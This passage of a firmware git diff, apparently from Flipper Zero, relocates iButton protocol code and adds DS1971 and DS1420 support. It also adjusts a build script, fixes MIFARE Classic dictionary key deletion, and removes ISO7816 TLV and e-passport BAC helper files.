lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.h rename to lib/ibutton/protocols/dallas/protocol_ds1996.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.c b/lib/ibutton/protocols/dallas/protocol_ds_generic.c similarity index 93% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.c rename to lib/ibutton/protocols/dallas/protocol_ds_generic.c index 50fd04511..6c698bb89 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.c +++ b/lib/ibutton/protocols/dallas/protocol_ds_generic.c @@ -61,6 +61,15 @@ bool ds_generic_write_blank(OneWireHost* host, iButtonProtocolData* protocol_dat return tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); } +static bool ds_generic_reset_callback(bool is_short, void* context) { + furi_assert(context); + DallasGenericProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + static bool ds_generic_command_callback(uint8_t command, void* context) { furi_assert(context); DallasGenericProtocolData* data = context; @@ -85,7 +94,7 @@ void ds_generic_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { DallasGenericProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, ds_generic_command_callback, protocol_data); } diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.h b/lib/ibutton/protocols/dallas/protocol_ds_generic.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.h rename to lib/ibutton/protocols/dallas/protocol_ds_generic.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.c b/lib/ibutton/protocols/dallas/protocol_group_dallas.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.c rename to lib/ibutton/protocols/dallas/protocol_group_dallas.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.h b/lib/ibutton/protocols/dallas/protocol_group_dallas.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.h rename to lib/ibutton/protocols/dallas/protocol_group_dallas.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.c similarity index 76% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c rename to lib/ibutton/protocols/dallas/protocol_group_dallas_defs.c index e54c3125d..a33db5143 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c +++ b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.c @@ -3,12 +3,16 @@ #include "protocol_ds1990.h" #include "protocol_ds1992.h" #include "protocol_ds1996.h" +#include "protocol_ds1971.h" +#include "protocol_ds1420.h" #include "protocol_ds_generic.h" const iButtonProtocolDallasBase* ibutton_protocols_dallas[] = { [iButtonProtocolDS1990] = &ibutton_protocol_ds1990, [iButtonProtocolDS1992] = &ibutton_protocol_ds1992, [iButtonProtocolDS1996] = &ibutton_protocol_ds1996, + [iButtonProtocolDS1971] = &ibutton_protocol_ds1971, + [iButtonProtocolDS1420] = &ibutton_protocol_ds1420, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.h similarity index 87% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h rename to lib/ibutton/protocols/dallas/protocol_group_dallas_defs.h index ba74c0c23..ca789a10c 100644 --- a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h +++ b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.h @@ -6,6 +6,8 @@ typedef enum { iButtonProtocolDS1990, iButtonProtocolDS1992, iButtonProtocolDS1996, + iButtonProtocolDS1971, + iButtonProtocolDS1420, /* Add new 1-Wire protocols here */ /* Default catch-all 1-Wire protocol */ diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_cyfral.c b/lib/ibutton/protocols/misc/protocol_cyfral.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_cyfral.c rename to lib/ibutton/protocols/misc/protocol_cyfral.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_cyfral.h b/lib/ibutton/protocols/misc/protocol_cyfral.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_cyfral.h rename to lib/ibutton/protocols/misc/protocol_cyfral.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc.c b/lib/ibutton/protocols/misc/protocol_group_misc.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc.c rename to lib/ibutton/protocols/misc/protocol_group_misc.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc.h b/lib/ibutton/protocols/misc/protocol_group_misc.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc.h rename to lib/ibutton/protocols/misc/protocol_group_misc.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.c b/lib/ibutton/protocols/misc/protocol_group_misc_defs.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.c rename to lib/ibutton/protocols/misc/protocol_group_misc_defs.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.h b/lib/ibutton/protocols/misc/protocol_group_misc_defs.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.h rename to lib/ibutton/protocols/misc/protocol_group_misc_defs.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_metakom.c b/lib/ibutton/protocols/misc/protocol_metakom.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_metakom.c rename to lib/ibutton/protocols/misc/protocol_metakom.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_metakom.h b/lib/ibutton/protocols/misc/protocol_metakom.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_metakom.h rename to lib/ibutton/protocols/misc/protocol_metakom.h diff --git a/lib/one_wire/ibutton/protocols/protocol_common.h b/lib/ibutton/protocols/protocol_common.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_common.h rename to lib/ibutton/protocols/protocol_common.h diff --git a/lib/one_wire/ibutton/protocols/protocol_common_i.h b/lib/ibutton/protocols/protocol_common_i.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_common_i.h rename to lib/ibutton/protocols/protocol_common_i.h diff --git a/lib/one_wire/ibutton/protocols/protocol_group_base.h b/lib/ibutton/protocols/protocol_group_base.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_base.h rename to lib/ibutton/protocols/protocol_group_base.h diff --git a/lib/one_wire/ibutton/protocols/protocol_group_defs.c b/lib/ibutton/protocols/protocol_group_defs.c similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_defs.c rename to lib/ibutton/protocols/protocol_group_defs.c diff --git a/lib/one_wire/ibutton/protocols/protocol_group_defs.h b/lib/ibutton/protocols/protocol_group_defs.h similarity index 100% rename from lib/one_wire/ibutton/protocols/protocol_group_defs.h rename to lib/ibutton/protocols/protocol_group_defs.h diff --git a/lib/misc.scons b/lib/misc.scons index 7a70670d1..a68f9d47d 100644 --- a/lib/misc.scons +++ b/lib/misc.scons @@ -38,7 +38,6 @@ for lib in libs_recurse: sources += libenv.GlobRecursive("*.c*", lib) libs_plain = [ - "heatshrink", "nanopb", ] @@ -49,6 +48,12 @@ for lib in libs_plain: source=True, ) +sources += Glob( + "heatshrink/heatshrink_*.c*", + exclude=GLOB_FILE_EXCLUSION, + source=True, +) + lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) libenv.Install("${LIB_DIST_DIR}", lib) Return("lib") diff --git a/lib/nfc/helpers/iso7816.c b/lib/nfc/helpers/iso7816.c deleted file mode 100644 index 03e695e4b..000000000 --- a/lib/nfc/helpers/iso7816.c +++ /dev/null @@ -1,85 +0,0 @@ -#include "iso7816.h" - -// ISO7816-5 -// Simple-TLV (Β§5.2.1) -// BER-TLV (Β§5.2.2) -TlvInfo iso7816_tlv_parse(const uint8_t* data) { - TlvInfo tlv; - - // Simple-TLV: tag can be any value from 1 to 254 (not '00' or 'FF') - // BER-TLV: TODO describe - // 00000 - 11110 => 0 - 30 (single byte) - // 11111 00011111 - 11111 01111111 => 31 - 127 (2 byte) - // 11111 10000001 00000001 - 11111 11111111 01111111 => 128 - 16383 (3 byte) - - tlv.tag = *(data++); - tlv.ber.constructed = ((tlv.tag & 0x20) != 0); - tlv.ber.classVar = (tlv.tag >> 6) & 0x03; - if((tlv.tag & 0x1f) == 0x1f) { - // BER-TLV, multi byte tag - tlv.tag <<= 8; - tlv.tag |= *(data++); - tlv.ber.tag = tlv.tag & 0x7f; - if(tlv.tag & 0x80) { - // BER-TLV, 3 byte tag - tlv.tag &= ~0x80; - tlv.tag <<= 7; - tlv.tag |= *(data++) & 0x7f; - tlv.ber.tag = tlv.tag & 0x3fff; - } - } else { - tlv.ber.tag = tlv.tag & 0x1f; - } - - //TODO: check for invalid 'indefinite length' - tlv.length = *(data++); - if(tlv.length == 0xff) { - // Simple-TLV 2 byte length - tlv.length = *(data++) << 8; - tlv.length += *(data++); - } else if(tlv.length > 0x7f) { - uint8_t length_bytes = tlv.length & 0x7f; - //printf("BER length of %d bytes\n", length_bytes); - if(length_bytes < 1 || length_bytes > 4) { - //TODO: error: ISO7816 doesn't support more than 4 length bytes - return (TlvInfo){.tag = 0}; - } - tlv.length = 0; - for(uint8_t i = 0; i < length_bytes; ++i) { - //printf("byte %d: %02x\n", i, *data); - tlv.length <<= 8; - tlv.length |= *(data++); - } - } - tlv.value = data; - tlv.next = data + tlv.length; - - return tlv; -} - -TlvInfo - iso7816_tlv_select(const uint8_t* data, size_t length, const uint16_t tags[], size_t num_tags) { - TlvInfo tlv; - size_t offset = 0; - - if(num_tags == 0) { - return (TlvInfo){.tag = 0x0000}; - } - - while(offset < length) { - tlv = iso7816_tlv_parse(data + offset); - - if(tlv.tag == tags[0]) { - if(num_tags == 1) { - return tlv; - } else { - return iso7816_tlv_select(tlv.value, tlv.length, tags + 1, num_tags - 1); - } - } - - offset = - tlv.next - data; // TODO: use some length value of TlvInfo instead of this monstrosity - } - - return (TlvInfo){.tag = 0x0000}; -} diff --git a/lib/nfc/helpers/iso7816.h b/lib/nfc/helpers/iso7816.h deleted file mode 100644 index ae3c85871..000000000 --- a/lib/nfc/helpers/iso7816.h +++ /dev/null @@ -1,31 +0,0 @@ -#pragma once - -#include -#include -#include -#include - -#define BER_CLASS_UNIVERSAL 0x0 -#define BER_CLASS_APPLICATION 0x1 -#define BER_CLASS_CONTEXT 0x2 -#define BER_CLASS_PRIVATE 0x3 - -typedef struct { - uint16_t tag; // TODO: use define/typedef for this data format? - struct { - uint16_t tag; - uint8_t constructed : 1; - uint8_t classVar : 2; - } ber; - size_t length; - const uint8_t* value; - - const uint8_t* next; -} TlvInfo; - -// ISO7816-5 Β§5.2 -// Simple-TLV and BER-TLV parsing -TlvInfo iso7816_tlv_parse(const uint8_t* data); - -TlvInfo - iso7816_tlv_select(const uint8_t* data, size_t length, const uint16_t tags[], size_t num_tags); diff --git a/lib/nfc/helpers/mf_classic_dict.c b/lib/nfc/helpers/mf_classic_dict.c index 93098d409..7bdfa9e78 100644 --- a/lib/nfc/helpers/mf_classic_dict.c +++ b/lib/nfc/helpers/mf_classic_dict.c @@ -330,17 +330,20 @@ bool mf_classic_dict_delete_index(MfClassicDict* dict, uint32_t target) { uint32_t index = 0; bool key_removed = false; + stream_rewind(dict->stream); while(!key_removed) { if(!stream_read_line(dict->stream, next_line)) break; if(furi_string_get_char(next_line, 0) == '#') continue; if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; if(index++ != target) continue; - stream_seek(dict->stream, -NFC_MF_CLASSIC_KEY_LEN, StreamOffsetFromCurrent); - if(!stream_delete(dict->stream, NFC_MF_CLASSIC_KEY_LEN)) break; + stream_seek(dict->stream, -(NFC_MF_CLASSIC_KEY_LEN + 1), StreamOffsetFromCurrent); + if(!stream_delete(dict->stream, (NFC_MF_CLASSIC_KEY_LEN + 1))) break; dict->total_keys--; key_removed = true; } + stream_rewind(dict->stream); + furi_string_free(next_line); return key_removed; } diff --git a/lib/nfc/helpers/mrtd_helpers.c b/lib/nfc/helpers/mrtd_helpers.c deleted file mode 100644 index 26eda51ef..000000000 --- a/lib/nfc/helpers/mrtd_helpers.c +++ /dev/null @@ -1,658 +0,0 @@ -#include "mrtd_helpers.h" -#include "../helpers/iso7816.h" - -#include //TODO: remove -#include - -#include -#include - -static inline unsigned char* ucstr(const char* str) { - return (unsigned char*)str; -} - -const char* mrtd_auth_method_string(MrtdAuthMethod method) { - switch(method) { - case MrtdAuthMethodBac: - return "BAC"; - case MrtdAuthMethodPace: - return "PACE"; - case MrtdAuthMethodNone: - return "None"; - case MrtdAuthMethodAny: - return "Any"; - default: - return "Unknown"; - } -} - -bool mrtd_auth_method_parse_string(MrtdAuthMethod* method, const char* str) { - if(!strcmp(str, "BAC")) { - *method = MrtdAuthMethodBac; - return true; - } - if(!strcmp(str, "PACE")) { - *method = MrtdAuthMethodPace; - return true; - } - if(!strcmp(str, "None")) { - *method = MrtdAuthMethodNone; - return true; - } - if(!strcmp(str, "Any")) { - *method = MrtdAuthMethodAny; - return true; - } - return false; -} - -uint8_t mrtd_bac_check_digit(const char* input, const uint8_t length) { - const uint8_t num_weights = 3; - uint8_t weights[] = {7, 3, 1}; - uint8_t check_digit = 0; - uint8_t idx; - - for(uint8_t i = 0; i < length; ++i) { - char c = input[i]; - if(c >= 'A' && c <= 'Z') { - idx = c - 'A' + 10; - } else if(c >= 'a' && c <= 'z') { - idx = c - 'a' + 10; - } else if(c >= '0' && c <= '9') { - idx = c - '0'; - } else { - idx = 0; - } - check_digit = (check_digit + idx * weights[i % num_weights]) % 10; - } - return check_digit; -} - -void mrtd_print_date(char* output, MrtdDate* date) { - output[0] = (date->year / 10) + '0'; - output[1] = (date->year % 10) + '0'; - output[2] = (date->month / 10) + '0'; - output[3] = (date->month % 10) + '0'; - output[4] = (date->day / 10) + '0'; - output[5] = (date->day % 10) + '0'; -} - -uint8_t charval(char c) { - if(c >= '0' && c <= '9') { - return c - '0'; - } - return 0; -} - -void mrtd_parse_date(MrtdDate* date, const unsigned char* input) { - date->year = charval(input[0]) * 10 + charval(input[1]); - date->month = charval(input[2]) * 10 + charval(input[3]); - date->day = charval(input[4]) * 10 + charval(input[5]); -} - -bool mrtd_bac_get_kmrz(MrtdAuthData* auth, char* output, uint8_t output_size) { - uint8_t idx = 0; - uint8_t docnr_length = strlen(auth->doc_number); - uint8_t cd_idx = 0; - if(output_size < docnr_length + 16) { - return false; - } - - cd_idx = idx; - for(uint8_t i = 0; i < docnr_length; ++i) { - char c = auth->doc_number[i]; - if(c >= 'a' && c <= 'z') { - c = c - 'a' + 'A'; - } - output[idx++] = c; - } - - if(docnr_length < 9) { - memset(output + idx, '<', 9 - docnr_length); - idx += 9 - docnr_length; - } - - output[idx++] = mrtd_bac_check_digit(output + cd_idx, docnr_length) + '0'; - - cd_idx = idx; - mrtd_print_date(output + idx, &auth->birth_date); - idx += 6; - output[idx++] = mrtd_bac_check_digit(output + cd_idx, 6) + '0'; - - cd_idx = idx; - mrtd_print_date(output + idx, &auth->expiry_date); - idx += 6; - output[idx++] = mrtd_bac_check_digit(output + cd_idx, 6) + '0'; - - output[idx++] = '\x00'; - return true; -} - -bool mrtd_bac_keys_from_seed(const uint8_t kseed[16], uint8_t ksenc[16], uint8_t ksmac[16]) { - uint8_t hash[20]; - mbedtls_sha1_context ctx; - mbedtls_sha1_init(&ctx); - - do { - for(uint8_t i = 1; i <= 2; ++i) { - if(mbedtls_sha1_starts(&ctx)) break; - if(mbedtls_sha1_update(&ctx, kseed, 16)) break; - if(mbedtls_sha1_update(&ctx, ucstr("\x00\x00\x00"), 3)) break; - if(mbedtls_sha1_update(&ctx, &i, 1)) break; - if(mbedtls_sha1_finish(&ctx, hash)) break; - - switch(i) { - case 1: - memcpy(ksenc, hash, 16); - mbedtls_des_key_set_parity(ksenc); - mbedtls_des_key_set_parity(ksenc + 8); - break; - case 2: - memcpy(ksmac, hash, 16); - mbedtls_des_key_set_parity(ksmac); - mbedtls_des_key_set_parity(ksmac + 8); - break; - } - } - } while(false); - - mbedtls_sha1_free(&ctx); - return true; -} - -bool mrtd_bac_keys(MrtdAuthData* auth, uint8_t ksenc[16], uint8_t ksmac[16]) { - uint8_t kmrz_max_length = MRTD_DOCNR_MAX_LENGTH + 16; - char kmrz[kmrz_max_length]; - if(!mrtd_bac_get_kmrz(auth, kmrz, kmrz_max_length)) { - return false; - } - - printf("kmrz: %s\r\n", kmrz); //TODO: remove - - uint8_t hash[20]; - mbedtls_sha1((uint8_t*)kmrz, strlen(kmrz), hash); - - if(!mrtd_bac_keys_from_seed(hash, ksenc, ksmac)) { - return false; - } - - return true; -} - -//NOTE: output size will be ((data_length+8)/8)*8 -bool mrtd_bac_encrypt(const uint8_t* data, size_t data_length, const uint8_t* key, uint8_t* output) { - uint8_t IV[8] = "\x00\x00\x00\x00\x00\x00\x00\x00"; - - mbedtls_des3_context ctx; - mbedtls_des3_init(&ctx); - mbedtls_des3_set2key_enc(&ctx, key); - if(mbedtls_des3_crypt_cbc(&ctx, MBEDTLS_DES_ENCRYPT, data_length, IV, data, output)) { - return false; - } - mbedtls_des3_free(&ctx); - - return true; -} - -bool mrtd_bac_decrypt(const uint8_t* data, size_t data_length, uint8_t* key, uint8_t* output) { - uint8_t IV[8] = "\x00\x00\x00\x00\x00\x00\x00\x00"; - - mbedtls_des3_context ctx; - mbedtls_des3_init(&ctx); - mbedtls_des3_set2key_dec(&ctx, key); - if(mbedtls_des3_crypt_cbc(&ctx, MBEDTLS_DES_DECRYPT, data_length, IV, data, output)) { - return false; - } - mbedtls_des3_free(&ctx); - - return true; -} - -bool mrtd_bac_decrypt_verify( - const uint8_t* data, - size_t data_length, - uint8_t* key_enc, - uint8_t* key_mac, - uint8_t* output) { - mrtd_bac_decrypt(data, data_length - 8, key_enc, output); - - uint8_t mac_calc[8]; - mrtd_bac_padded_mac(data, data_length - 8, key_mac, mac_calc); - - if(memcmp(mac_calc, data + data_length - 8, 8)) { - printf("MAC failed\r\n"); - for(uint8_t i = 0; i < 8; ++i) { - printf("%02X <=> %02X\r\n", mac_calc[i], data[data_length - 8 + i]); - } - return false; - } - return true; -} - -// If output or output_written are NULL-pointers, no output is written -// Otherwise, and if DO'87 is present, data is written to *output -// output should have enough room for additional padding (rounded up by 8 bytes) -// output_written will be the length without padding -uint16_t mrtd_bac_decrypt_verify_sm( - const uint8_t* data, - size_t data_length, - uint8_t* key_enc, - uint8_t* key_mac, - uint64_t ssc, - uint8_t* output, - size_t* output_written) { - // Message: [DO'85 or DO'87] || [DO'99] || DO'8E - // Lengths: Var 1+1+2=4 1+1+8=10 - - //TODO: check for DO'99 presence, instead of assuming - uint16_t ret_code = data[data_length - 10 - 2] << 8 | data[data_length - 10 - 1]; - //ntohs(data + data_length - 10 - 2); - - TlvInfo do87 = iso7816_tlv_select(data, data_length, (uint16_t[]){0x87}, 1); - //printf("DO87.Tag: %X\n", do87.tag); - //printf("DO87.Length: %ld\n", do87.length); - //printf("DO87.Value: "); - //for(uint8_t i=1; i= 0; --padidx) { - if(output[padidx] == 0x00) { - continue; - } else if(output[padidx] == 0x80) { - break; - } else { - printf("Invalid padding\r\n"); - return 0xff01; - } - } - printf(" "); - for(int i = 0; i < padidx; ++i) { - printf(" "); - } - printf("^^\r\n"); - printf("Pad starts at: %d\r\n", padidx); - - *output_written = padidx - 1; - } - } else { - if(output_written != NULL) { - *output_written = 0; - } - } - - mrtd_bac_mac_ctx ctx; - mrtd_bac_mac_init(&ctx, key_mac); - uint64_t ssc_n = htonll(ssc); - mrtd_bac_mac_update(&ctx, (uint8_t*)&ssc_n, 8); - mrtd_bac_mac_update( - &ctx, data, data_length - 10); // 10 = len(DO'8E) = len(header + length + MAC) = 1 + 1 + 8 - uint8_t mac_calc[8]; - mrtd_bac_mac_finalize(&ctx, mac_calc); - - if(memcmp(mac_calc, data + data_length - 8, 8)) { - printf("SM MAC failed\r\n"); - for(uint8_t i = 0; i < 8; ++i) { - printf("%02X <=> %02X\r\n", mac_calc[i], data[data_length - 8 + i]); - } - return 0xff02; - } - return ret_code; -} - -bool mrtd_bac_mac_init(mrtd_bac_mac_ctx* ctx, const uint8_t key[16]) { - mbedtls_des_init(&ctx->des); - mbedtls_des_setkey_enc(&ctx->des, key); - memset(ctx->mac, 0, 8); - ctx->idx_in = 0; - memcpy(ctx->key, key, 16); - return true; -} - -bool mrtd_bac_mac_update(mrtd_bac_mac_ctx* ctx, const uint8_t* data, size_t data_length) { - //printf("MAC add %d: ", data_length); print_hex(data, data_length); printf("\n"); - size_t data_idx = 0; - //uint8_t* xormac = ctx->xormac; - - if(ctx->idx_in != 0) { - uint8_t buff_add = 8 - ctx->idx_in; - if(data_length < buff_add) { - buff_add = data_length; - } - memcpy(ctx->buffer_in + ctx->idx_in, data, buff_add); - ctx->idx_in = (ctx->idx_in + buff_add) % 8; - data_idx += buff_add; - - if(ctx->idx_in == 0) { // buffer_in filled - for(uint8_t j = 0; j < 8; ++j) { - ctx->xormac[j] = ctx->mac[j] ^ ctx->buffer_in[j]; - } - mbedtls_des_crypt_ecb(&ctx->des, ctx->xormac, ctx->mac); - - printf( - "DES buf: %02X %02X %02X %02X %02X %02X %02X %02X\r\n", - ctx->buffer_in[0], - ctx->buffer_in[1], - ctx->buffer_in[2], - ctx->buffer_in[3], - ctx->buffer_in[4], - ctx->buffer_in[5], - ctx->buffer_in[6], - ctx->buffer_in[7]); - - //printf("DES1: %02X %02X %02X %02X %02X %02X %02X %02X\n", - //xormac[0], xormac[1], xormac[2], xormac[3], - //xormac[4], xormac[5], xormac[6], xormac[7]); - } - } - - while(true) { - if(data_idx + 8 > data_length) { - // Not a full block - break; - } - for(uint8_t j = 0; j < 8; ++j) { - ctx->xormac[j] = ctx->mac[j] ^ data[data_idx++]; - } - - mbedtls_des_crypt_ecb(&ctx->des, ctx->xormac, ctx->mac); - printf( - "DES add: %02X %02X %02X %02X %02X %02X %02X %02X\r\n", - data[data_idx - 8 + 0], - data[data_idx - 8 + 1], - data[data_idx - 8 + 2], - data[data_idx - 8 + 3], - data[data_idx - 8 + 4], - data[data_idx - 8 + 5], - data[data_idx - 8 + 6], - data[data_idx - 8 + 7]); - - //printf("DES1: %02X %02X %02X %02X %02X %02X %02X %02X\n", - //xormac[0], xormac[1], xormac[2], xormac[3], - //xormac[4], xormac[5], xormac[6], xormac[7]); - } - - if(data_idx < data_length) { - ctx->idx_in = data_length - data_idx; - memcpy(ctx->buffer_in, data + data_idx, ctx->idx_in); - } - - return true; -} - -bool mrtd_bac_mac_pad(mrtd_bac_mac_ctx* ctx) { - memset(ctx->buffer_in + ctx->idx_in, 0x00, 8 - ctx->idx_in); - ctx->buffer_in[ctx->idx_in] = 0x80; - ctx->idx_in = 8; - - mrtd_bac_mac_update(ctx, NULL, 0); // Force processing the buffer_in - return true; -} - -bool mrtd_bac_mac_finalize(mrtd_bac_mac_ctx* ctx, uint8_t output[8]) { - mrtd_bac_mac_pad(ctx); - - uint8_t tmp[8]; - mbedtls_des_init(&ctx->des); - mbedtls_des_setkey_dec(&ctx->des, ctx->key + 8); - mbedtls_des_crypt_ecb(&ctx->des, ctx->mac, tmp); - - mbedtls_des_init(&ctx->des); - mbedtls_des_setkey_enc(&ctx->des, ctx->key); - mbedtls_des_crypt_ecb(&ctx->des, tmp, output); - - mbedtls_des_free(&ctx->des); - return true; -} - -bool mrtd_bac_mac(const uint8_t* data, size_t data_length, const uint8_t* key, uint8_t* output) { - // MAC - uint8_t mac[8]; - uint8_t xormac[8]; - uint8_t tmp[8]; - mbedtls_des_context ctx; - - mbedtls_des_init(&ctx); - mbedtls_des_setkey_enc(&ctx, key); - - memset(mac, 0, 8); - for(size_t i = 0; i < data_length / 8; ++i) { - for(uint8_t j = 0; j < 8; ++j) { - xormac[j] = mac[j] ^ data[i * 8 + j]; - } - - mbedtls_des_crypt_ecb(&ctx, xormac, mac); - printf( - "DES1: %02X %02X %02X %02X %02X %02X %02X %02X\r\n", - xormac[0], - xormac[1], - xormac[2], - xormac[3], - xormac[4], - xormac[5], - xormac[6], - xormac[7]); - } - - mbedtls_des_init(&ctx); - mbedtls_des_setkey_dec(&ctx, key + 8); - mbedtls_des_crypt_ecb(&ctx, mac, tmp); - - mbedtls_des_init(&ctx); - mbedtls_des_setkey_enc(&ctx, key); - mbedtls_des_crypt_ecb(&ctx, tmp, output); - - mbedtls_des_free(&ctx); - - return true; -} - -bool mrtd_bac_padded_mac(const uint8_t* data, size_t data_length, uint8_t* key, uint8_t* output) { - //TODO: bufferless padding should be possible with 3DES - size_t newlength = ((data_length + 8) / 8) * 8; // TODO: return this value too? - uint8_t padded[newlength]; //TODO: input parameter - memset(padded, 0, newlength); - memcpy(padded, data, data_length); - padded[data_length] = 0x80; - - if(!mrtd_bac_mac(padded, newlength, key, output)) { - return false; - } - - return true; -} - -size_t mrtd_protect_apdu( - uint8_t cla, - uint8_t ins, - uint8_t p1, - uint8_t p2, - uint8_t lc, - const void* data, - int16_t le, - const uint8_t* key_enc, - const uint8_t* key_mac, - uint64_t ssc, - uint8_t* output) { - //TODO: max size on output? - size_t idx = 0; - - // CC = MAC( SSC || CmdHeader || DO'87 ) - mrtd_bac_mac_ctx mac_ctx; - mrtd_bac_mac_init(&mac_ctx, key_mac); - uint64_t ssc_n = htonll(ssc); - //printf("ssc: %016llx\r\n", ssc); - //printf("ssc_n: "); print_hex(ssc_n, 8); printf("\n"); - mrtd_bac_mac_update(&mac_ctx, (uint8_t*)&ssc_n, 8); - - // Mask cla - output[idx++] = cla | 0x0c; - output[idx++] = ins; - output[idx++] = p1; - output[idx++] = p2; - - // Pad Header - mrtd_bac_mac_update(&mac_ctx, output, idx); - mrtd_bac_mac_pad(&mac_ctx); - - size_t idx_lc = idx; - output[idx++] = 0xff; // place holder for Lc - - // Build DO'87 - // TODO: condition on data presence - // TODO: if ins is odd, use 0x85 - if(lc > 0) { - size_t newlength = ((lc + 8) / 8) * 8; - uint8_t padded[newlength]; - - output[idx++] = 0x87; // Header - output[idx++] = newlength + 1; // Length - output[idx++] = 0x01; //TODO: check this value - - memset(padded, 0, newlength); - memcpy(padded, data, lc); - padded[lc] = 0x80; - - mrtd_bac_encrypt(padded, newlength, key_enc, output + idx); - idx += newlength; - } - - // Build DO'97 - if(le >= 0) { - output[idx++] = 0x97; // Header - output[idx++] = 0x01; // Length - output[idx++] = le; - } - - mrtd_bac_mac_update(&mac_ctx, output + idx_lc + 1, idx - idx_lc - 1); - - // Build DO'8E - // TODO: conditions? - { - output[idx++] = 0x8E; // Header - output[idx++] = 0x08; // Length - - mrtd_bac_mac_finalize(&mac_ctx, output + idx); - idx += 8; - - printf("MAC: "); - for(uint8_t i = 0; i < 8; ++i) { - printf("%02X ", output[idx - 8 + i]); - } - printf("\r\n"); - } - - output[idx_lc] = idx - idx_lc - 1; // Set Lc - - output[idx++] = 0x00; - - return idx; -} - -EFFile EFNone = {.name = NULL, .file_id = 0x0000, .short_id = 0x00, .tag = 0x00}; - -const struct EFFormat EF = { - .ATR = {.name = "ATR", .file_id = 0x2F01, .short_id = 0x01}, - .DIR = {.name = "DIR", .file_id = 0x2F00, .short_id = 0x1E}, - .CardAccess = {.name = "CardAccess", .file_id = 0x011C, .short_id = 0x1C}, - .CardSecurity = {.name = "CardSecurity", .file_id = 0x011D, .short_id = 0x1D}, - .COM = {.name = "COM", .file_id = 0x011E, .short_id = 0x1E, .tag = 0x60}, - .SOD = {.name = "SOD", .file_id = 0X011D, .short_id = 0X1D, .tag = 0x77}, - .DG1 = {.name = "DG1", .file_id = 0X0101, .short_id = 0X01, .tag = 0x61}, - .DG2 = {.name = "DG2", .file_id = 0X0102, .short_id = 0X02, .tag = 0x75}, - .DG3 = {.name = "DG3", .file_id = 0X0103, .short_id = 0X03, .tag = 0x63}, - .DG4 = {.name = "DG4", .file_id = 0X0104, .short_id = 0X04, .tag = 0x76}, - .DG5 = {.name = "DG5", .file_id = 0X0105, .short_id = 0X05, .tag = 0x65}, - .DG6 = {.name = "DG6", .file_id = 0X0106, .short_id = 0X06, .tag = 0x66}, - .DG7 = {.name = "DG7", .file_id = 0X0107, .short_id = 0X07, .tag = 0x67}, - .DG8 = {.name = "DG8", .file_id = 0X0108, .short_id = 0X08, .tag = 0x68}, - .DG9 = {.name = "DG9", .file_id = 0X0109, .short_id = 0X09, .tag = 0x69}, - .DG10 = {.name = "DG10", .file_id = 0X010A, .short_id = 0X0A, .tag = 0x6a}, - .DG11 = {.name = "DG11", .file_id = 0X010B, .short_id = 0X0B, .tag = 0x6b}, - .DG12 = {.name = "DG12", .file_id = 0X010C, .short_id = 0X0C, .tag = 0x6c}, - .DG13 = {.name = "DG13", .file_id = 0X010D, .short_id = 0X0D, .tag = 0x6d}, - .DG14 = {.name = "DG14", .file_id = 0X010E, .short_id = 0X0E, .tag = 0x6e}, - .DG15 = {.name = "DG15", .file_id = 0X010F, .short_id = 0X0F, .tag = 0x6f}, - .DG16 = {.name = "DG16", .file_id = 0X0110, .short_id = 0X10, .tag = 0x70}, -}; - -struct AIDSet AID = { - .eMRTDApplication = {0xA0, 0x00, 0x00, 0x02, 0x47, 0x10, 0x01}, - 